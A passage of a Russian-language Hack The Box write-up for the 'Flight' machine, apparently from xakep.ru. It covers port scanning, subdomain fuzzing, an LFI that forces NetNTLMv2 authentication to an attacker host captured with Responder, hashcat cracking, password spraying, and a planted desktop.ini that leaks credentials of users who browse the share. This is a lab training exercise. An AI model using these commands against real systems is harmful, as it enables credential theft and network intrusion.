Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
В этом райтапе я покажу, как похищать пароли пользователей Windows разными способами, после чего мы захватим веб‑сервер, пройдя по цепочке уязвимостей, которые позволят нам раз за разом повышать привилегии.
Наша цель — получить права суперпользователя на тренировочной машине Flight с площадки Hack The Box. Машина оценена как сложная.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.187 flight.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Результат работы скрипта
В результатах сканирования видим много открытых портов, что типично для Windows:
Анонимная аутентификация нигде не доступна, поэтому идем на веб‑сервер.
Главная страница сайта
На стартовой странице ничего найти не удалось, поэтому необходимо расширить область тестирования. Самый очевидный способ — перебором поискать скрытые домены и каталоги. Я это делаю при помощи сканера ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w
— словарь (я использую словари из набора SecLists);
-t
— количество потоков;
-u
— URL;
-fs
— фильтр, исключающий страницы по размеру;
-H
— HTTP-заголовок.
Место перебора помечаем словом FUZZ.
Команда получается следующая:
ffuf -u 'http://flight.htb' -w subdomains-top1million-110000.txt -H "Host: FUZZ.flight.htb" -t 256 --fs 7069
Результат сканирования поддоменов с помощью ffuf
Находим новый поддомен и вносим его в файл /etc/hosts
.
10.10.11.187 flight.htb school.flight.htb
Главная страница сайта school.flight.htb
Обрати внимание, что загружаемая страница указывается в качестве параметра view
. Проверим, нет ли здесь уязвимости LFI, и укажем в параметре view
файл index.php
.
http://school.flight.htb/index.php?view=index.php
Результат проверки LFI
Видим на странице какой‑то код на PHP. Стоит ознакомиться с ним поближе.
Исходный код страницы
Мы узнаем путь к файлам сайта, а также используемые для обработки параметра фильтры. Так как не фильтруется последовательность //
, мы можем заставить веб‑сервер обратиться к любому удаленному серверу. При этом Windows попытается авторизоваться на указанном ресурсе, и мы получим NetNTLMv2-хеш пароля пользователя веб‑сервера. Чтобы ловить такие хеши, запускаем на локальном хосте утилиту Responder.
sudo responder -v -I tun0
Теперь указываем свой адрес и ловим хеш.
http://school.flight.htb/index.php?view=//10.10.14.16/share
Логи Responder
Отправляем хеш на перебор, в качестве режима hashcat (параметр -m
) указываем 5600, соответствующий хешу NetNTLMv2.
hashcat -m 5600 5600.hash rockyou.txt
Результат перебора хеша
Проверяем учетные данные на примере службы SMB с помощью CrackMapExec.
crackmapexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13'
Проверка учетных данных
Учетные данные верны, поэтому получаем доступные сетевые ресурсы и список пользователей.
crackmapexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --users --shares
Результат выполнения запроса
Давай подключимся к общему ресурсу Web
и просмотрим его содержимое.
impacket-smbclient flight.htb/svc_apache:'S@Ss!K@*t13'@10.10.11.187
Содержимое SMB-ресурса Web
Ничего, кроме каталогов сайтов, там не находим. Однако текущая учетная запись — служебная, и у пользователя, скорее всего, есть еще и основная. Попробуем зайти в другие учетки с тем же паролем.
crackmapexec smb 10.10.11.187 -u users.txt -p 'S@Ss!K@*t13' --continue-on-success
Спрей найденного пароля
Получаем еще одну подконтрольную учетную запись. Теперь проверяем, какие общие каталоги доступны новому пользователю.
crackmapexec smb 10.10.11.187 -u 'S.Moon' -p 'S@Ss!K@*t13' --shares
Доступные общие ресурсы SMB
Для записи доступен каталог Shared
. Больше ничего найти не удалось, ресурс оказался пустым. Тогда возникла идея похитить NetNTLMv2-пароли другим способом. В этот раз будем использовать файл desktop.ini
, в котором параметр IconResource
указывает на наш внешний ресурс.
[.ShellClassInfo]
IconResource=\10.10.14.51share
Любой пользователь, который просмотрит этот каталог, автоматически обратится к нашему ресурсу и при этом предоставит учетные данные.
impacket-smbclient flight.htb/S.Moon:'S@Ss!K@*t13'@10.10.11.187
Содержимое общего ресурса
Источник: xakep.ru